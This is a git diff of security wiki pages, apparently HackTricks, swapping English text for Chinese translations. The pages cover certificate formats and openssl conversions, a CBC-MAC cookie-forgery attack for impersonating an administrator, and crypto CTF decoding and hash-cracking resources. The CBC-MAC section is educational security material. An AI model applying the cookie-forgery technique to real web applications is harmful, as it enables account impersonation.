+### **什么是证书透明性**
-### **What is Certificate Transparency**
+证书透明性通过确保 SSL 证书的发行和存在对域名所有者、CA 和用户可见,帮助抵御与证书相关的威胁。其目标包括:
-Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
+- 防止 CA 在未通知域名所有者的情况下为域名发行 SSL 证书。
+- 建立一个开放的审计系统,以跟踪错误或恶意发行的证书。
+- 保护用户免受欺诈证书的影响。
-- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
-- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
-- Safeguarding users against fraudulent certificates.
+#### **证书日志**
-#### **Certificate Logs**
+证书日志是公开可审计的、仅附加的证书记录,由网络服务维护。这些日志提供加密证明以供审计使用。发行机构和公众均可向这些日志提交证书或查询以进行验证。虽然日志服务器的确切数量并不固定,但预计全球不会超过一千个。这些服务器可以由 CA、ISP 或任何感兴趣的实体独立管理。
-Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
+#### **查询**
-#### **Query**
+要探索任何域的证书透明性日志,请访问 [https://crt.sh/](https://crt.sh)。
-To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
+存储证书的不同格式各有其使用案例和兼容性。此摘要涵盖主要格式并提供转换指导。
-Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
+## **格式**
-## **Formats**
+### **PEM格式**
-### **PEM Format**
+- 最广泛使用的证书格式。
+- 需要为证书和私钥分别创建文件,采用 Base64 ASCII 编码。
+- 常见扩展名:.cer, .crt, .pem, .key。
+- 主要用于 Apache 和类似服务器。
-- Most widely used format for certificates.
-- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
-- Common extensions: .cer, .crt, .pem, .key.
-- Primarily used by Apache and similar servers.
+### **DER格式**
-### **DER Format**
+- 证书的二进制格式。
+- 缺少 PEM 文件中找到的 "BEGIN/END CERTIFICATE" 语句。
+- 常见扩展名:.cer, .der。
+- 通常与 Java 平台一起使用。
-- A binary format of certificates.
-- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
-- Common extensions: .cer, .der.
-- Often used with Java platforms.
+### **P7B/PKCS#7格式**
-### **P7B/PKCS#7 Format**
+- 以 Base64 ASCII 存储,扩展名为 .p7b 或 .p7c。
+- 仅包含证书和链证书,不包括私钥。
+- 受 Microsoft Windows 和 Java Tomcat 支持。
-- Stored in Base64 ASCII, with extensions .p7b or .p7c.
-- Contains only certificates and chain certificates, excluding the private key.
-- Supported by Microsoft Windows and Java Tomcat.
+### **PFX/P12/PKCS#12格式**
-### **PFX/P12/PKCS#12 Format**
+- 一种二进制格式,将服务器证书、中间证书和私钥封装在一个文件中。
+- 扩展名:.pfx, .p12。
+- 主要用于 Windows 的证书导入和导出。
-- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
-- Extensions: .pfx, .p12.
-- Mainly used on Windows for certificate import and export.
+### **格式转换**
-### **Converting Formats**
-
-**PEM conversions** are essential for compatibility:
-
-- **x509 to PEM**
+**PEM 转换** 对于兼容性至关重要:
+- **x509 到 PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
-
-- **PEM to DER**
-
+- **PEM 转 DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
-
-- **DER to PEM**
-
+- **DER 转 PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
-
-- **PEM to P7B**
-
+- **PEM 转 P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
-
-- **PKCS7 to PEM**
-
+- **PKCS7 转 PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
+**PFX 转换** 对于在 Windows 上管理证书至关重要:
-**PFX conversions** are crucial for managing certificates on Windows:
-
-- **PFX to PEM**
-
+- **PFX 到 PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
-
-- **PFX to PKCS#8** involves two steps:
- 1. Convert PFX to PEM
-
+- **PFX 转 PKCS#8** 涉及两个步骤:
+1. 将 PFX 转换为 PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
-
-2. Convert PEM to PKCS8
-
+2. 将PEM转换为PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
-
-- **P7B to PFX** also requires two commands:
- 1. Convert P7B to CER
-
+- **P7B 转 PFX** 还需要两个命令:
+1. 将 P7B 转换为 CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
-
-2. Convert CER and Private Key to PFX
-
+2. 将 CER 和私钥转换为 PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
-
-- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
- 1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
-
+- **ASN.1 (DER/PEM) 编辑** (适用于证书或几乎任何其他 ASN.1 结构):
+1. 克隆 [asn1template](https://github.com/wllm-rbnt/asn1template/)
```bash
git clone https://github.com/wllm-rbnt/asn1template.git
```
-
-2. Convert DER/PEM to OpenSSL's generation format
-
+2. 将 DER/PEM 转换为 OpenSSL 的生成格式
```bash
asn1template/asn1template.pl certificatename.der > certificatename.tpl
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
```
-
-3. Edit certificatename.tpl according to your requirements
-
+3. 根据您的要求编辑 certificatename.tpl
```bash
vim certificatename.tpl
```
-
-4. Rebuild the modified certificate
-
+4. 重建修改后的证书
```bash
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
```
-
----
-
-
-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
+---
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
index 47f1b2713..c16e72cd6 100644
--- a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
+++ b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
@@ -2,54 +2,54 @@
# CBC
-If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
+如果**cookie**仅仅是**用户名**(或者cookie的第一部分是用户名),并且你想要冒充用户名“**admin**”。那么,你可以创建用户名**"bdmin"**并**暴力破解**cookie的**第一个字节**。
# CBC-MAC
-**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
+**密码块链消息认证码**(**CBC-MAC**)是一种用于密码学的方法。它通过逐块加密消息来工作,每个块的加密与前一个块相链接。这个过程创建了一个**块链**,确保即使改变原始消息的一个比特,也会导致最后一个加密数据块的不可预测变化。要进行或逆转这样的变化,需要加密密钥,以确保安全性。
-To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks using a secret key k and a block cipher E:
+要计算消息m的CBC-MAC,可以在零初始化向量下以CBC模式加密m,并保留最后一个块。下图勾勒了使用秘密密钥k和块密码E计算由块组成的消息的CBC-MAC的过程:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]()
# Vulnerability
-With CBC-MAC usually the **IV used is 0**.\
-This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
+在CBC-MAC中,通常**使用的IV是0**。\
+这是一个问题,因为两个已知消息(`m1`和`m2`)独立生成两个签名(`s1`和`s2`)。所以:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
-Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
+然后,由m1和m2连接而成的消息(m3)将生成两个签名(s31和s32):
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
-**Which is possible to calculate without knowing the key of the encryption.**
+**这可以在不知道加密密钥的情况下计算。**
-Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
+想象一下你在**8字节**块中加密名称**Administrator**:
- `Administ`
- `rator\00\00\00`
-You can create a username called **Administ** (m1) and retrieve the signature (s1).\
-Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
-now, you can use s32 as the signature of the full name **Administrator**.
+你可以创建一个名为**Administ**(m1)的用户名并获取签名(s1)。\
+然后,你可以创建一个用户名,称为`rator\00\00\00 XOR s1`的结果。这将生成`E(m2 XOR s1 XOR 0)`,即s32。\
+现在,你可以将s32用作完整名称**Administrator**的签名。
### Summary
-1. Get the signature of username **Administ** (m1) which is s1
-2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
-3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
+1. 获取用户名**Administ**(m1)的签名,即s1
+2. 获取用户名**rator\x00\x00\x00 XOR s1 XOR 0**的签名,即s32**。**
+3. 将cookie设置为s32,它将是用户**Administrator**的有效cookie。
# Attack Controlling IV
-If you can control the used IV the attack could be very easy.\
-If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
-Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
+如果你可以控制使用的IV,攻击可能会非常简单。\
+如果cookie仅仅是加密的用户名,要冒充用户“**administrator**”,你可以创建用户“**Administrator**”,你将获得它的cookie。\
+现在,如果你可以控制IV,你可以改变IV的第一个字节,使得**IV\[0] XOR "A" == IV'\[0] XOR "a"**,并为用户**Administrator**重新生成cookie。这个cookie将有效地**冒充**用户**administrator**,使用初始**IV**。
## References
-More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
+更多信息请参见[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md
index bb2b5f049..ebf2efe61 100644
--- a/src/crypto-and-stego/crypto-ctfs-tricks.md
+++ b/src/crypto-and-stego/crypto-ctfs-tricks.md
@@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
-## Online Hashes DBs
+## 在线哈希数据库
-- _**Google it**_
+- _**谷歌一下**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
@@ -16,124 +16,119 @@
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
-## Magic Autosolvers
+## 魔法自动解码器
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
-- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
+- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (魔法模块)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
-## Encoders
+## 编码器
-Most of encoded data can be decoded with these 2 ressources:
+大多数编码数据可以通过这两个资源解码:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
-### Substitution Autosolvers
+### 替换自动解码器
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
-- [https://quipqiup.com/](https://quipqiup.com) - Very good !
+- [https://quipqiup.com/](https://quipqiup.com) - 非常好!
-#### Caesar - ROTx Autosolvers
+#### 凯撒 - ROTx 自动解码器
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
-#### Atbash Cipher
+#### Atbash 密码
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
-### Base Encodings Autosolver
+### 基础编码自动解码器
-Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
+使用以下链接检查所有这些基础:[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- - `BQ%]q@psCd@rH0l`
+- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- - `BQEKGAHRJKHQMVZGKUXNT`
+- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- - `NBXWYYLDMFZGCY3PNRQQ====`
+- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- - `pbzsaamdcf3gna5xptoo====`
+- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- - `e1rqssc3d5t62svgejhh====`
+- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- - `D1QPRRB3C5S62RVFDHGG====`
+- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- - `D1NMOOB3C5P62ORFDHGG====`
+- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- - `59DPVDGPCVKEUPCPVD`
+- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- - `2yJiRg5BF9gmsU6AC`
+- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- - `2YiHqF5bf9FLSt6ac`
+- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- - `pyJ5RgnBE9gm17awU`
+- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- - `g2AextRZpBKRBzQ9`
+- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- - `aG9sYWNhcmFjb2xh`
+- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- - `NI9JKX0cSUdqhr!p`
+- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- - `BQ%]q@psCd@rH0l`
+- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- - `<~BQ%]q@psCd@rH0l~>`
+- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- - `Xm4y`V\_|Y(V{dF>\`
+- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
+- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- - `Xm4y|V{~Y+V}dF?`
+- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- - `frDg[*jNN!7&BQM`
+- `frDg[*jNN!7&BQM`
- **Base100** \[]
- - `👟👦👣👘👚👘👩👘👚👦👣👘`
+- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- - `4F ˂r0Xmvc`
+- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- - `MIc3KiXa+Ihz+lrXMIc3KbCC`
+- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- - `DmPsv8J7qrlKEoY7`
+- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- - `kLD8iwKsigSalLJ5`
+- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- - `ayRiIo1gpO+uUc7g`
+- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- - `3sHcL2NR8WrT7mhR`
+- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- - `kLD8igSXm2KZlwrX`
+- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- - `7AP9mIzdmltYmIP9mWXX`
+- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- - `UE9vSbnBW6psVzxB`
+- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- - `PbGkNudxCzaKBm0x`
+- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- - `D+nkv8C1qIKMErY1`
+- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
+- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
-[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 死链接: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
-
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
+- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 死链接: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
-- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
-
-### Morse
-
+### 摩尔斯
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
-
-- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 死链接: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
-
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@@ -142,129 +137,107 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
-
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
-
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
-
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
-
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
-
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
-
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
-
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
-
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
-
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
-### Dvorak keyboard
-
+### Dvorak 键盘
```
drnajapajrna
```
-
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
-Letters to their numerical value
-
+字母对应其数字值
```
8 15 12 1 3 1 18 1 3 15 12 1
```
+### 仿射密码编码
-### Affine Cipher Encode
-
-Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
-
+字母到数字 `(ax+b)%26` (_a_ 和 _b_ 是密钥,_x_ 是字母) 并将结果转换回字母
```
krodfdudfrod
```
+### SMS 代码
-### SMS Code
+**Multitap** [通过重复的数字](https://www.dcode.fr/word-letter-change) 替换一个字母,这些数字由手机 [键盘](https://www.dcode.fr/phone-keypad-cipher) 上对应的键码定义(此模式在编写 SMS 时使用)。\
+例如:2=A, 22=B, 222=C, 3=D...\
+你可以通过看到\*\* 多个数字重复\*\* 来识别这个代码。
-**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
-For example: 2=A, 22=B, 222=C, 3=D...\
-You can identify this code because you will see\*\* several numbers repeated\*\*.
+你可以在这里解码这个代码: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
-You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
-
-### Bacon Code
-
-Substitude each letter for 4 As or Bs (or 1s and 0s)
+### 培根代码
+用 4 个 A 或 B(或 1 和 0)替代每个字母
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
-
-### Runes
+### 符文

-## Compression
+## 压缩
-**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
+**Raw Deflate** 和 **Raw Inflate**(你可以在 Cyberchef 中找到这两者)可以在没有头部的情况下压缩和解压数据。
-## Easy Crypto
+## 简易加密
-### XOR - Autosolver
+### XOR - 自动解密器
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### Bifid
-A keywork is needed
-
+需要一个关键字
```
fgaargaamnlunesuneoa
```
-
### Vigenere
-A keywork is needed
-
+需要一个关键词
```
wodsyoidrods
```
-
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
-## Strong Crypto
+## 强加密
### Fernet
-2 base64 strings (token and key)
-
+2 个 base64 字符串(令牌和密钥)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
-
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
-### Samir Secret Sharing
-
-A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
+### Samir 秘密共享
+一个秘密被分成 X 部分,要恢复它需要 Y 部分 (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
-
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
-### OpenSSL brute-force
+### OpenSSL 暴力破解
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
-## Tools
+## 工具
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md
index bcfcf1d0a..068f5f9bb 100644
--- a/src/crypto-and-stego/cryptographic-algorithms/README.md
+++ b/src/crypto-and-stego/cryptographic-algorithms/README.md
@@ -1,184 +1,184 @@
-# Cryptographic/Compression Algorithms
+# 加密/压缩算法
-## Cryptographic/Compression Algorithms
+## 加密/压缩算法
{{#include ../../banners/hacktricks-training.md}}
-## Identifying Algorithms
+## 识别算法
-If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
+如果你在代码中**使用了右移和左移、异或以及多个算术操作**,那么它很可能是**加密算法**的实现。这里将展示一些**识别所使用算法的方法,而无需逐步反向工程**。
-### API functions
+### API 函数
**CryptDeriveKey**
-If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
+如果使用了此函数,可以通过检查第二个参数的值来找到**使用的算法**:
.png>)
-Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
+在这里查看可能的算法及其分配值的表格:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
-Compresses and decompresses a given buffer of data.
+压缩和解压缩给定的数据缓冲区。
**CryptAcquireContext**
-From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
+来自[文档](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta):**CryptAcquireContext**函数用于获取特定加密服务提供程序(CSP)内特定密钥容器的句柄。**此返回的句柄用于调用使用所选CSP的CryptoAPI**函数。
**CryptCreateHash**
-Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
+初始化数据流的哈希。如果使用了此函数,可以通过检查第二个参数的值来找到**使用的算法**:
.png>)
\
-Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
+在这里查看可能的算法及其分配值的表格:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
-### Code constants
+### 代码常量
-Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
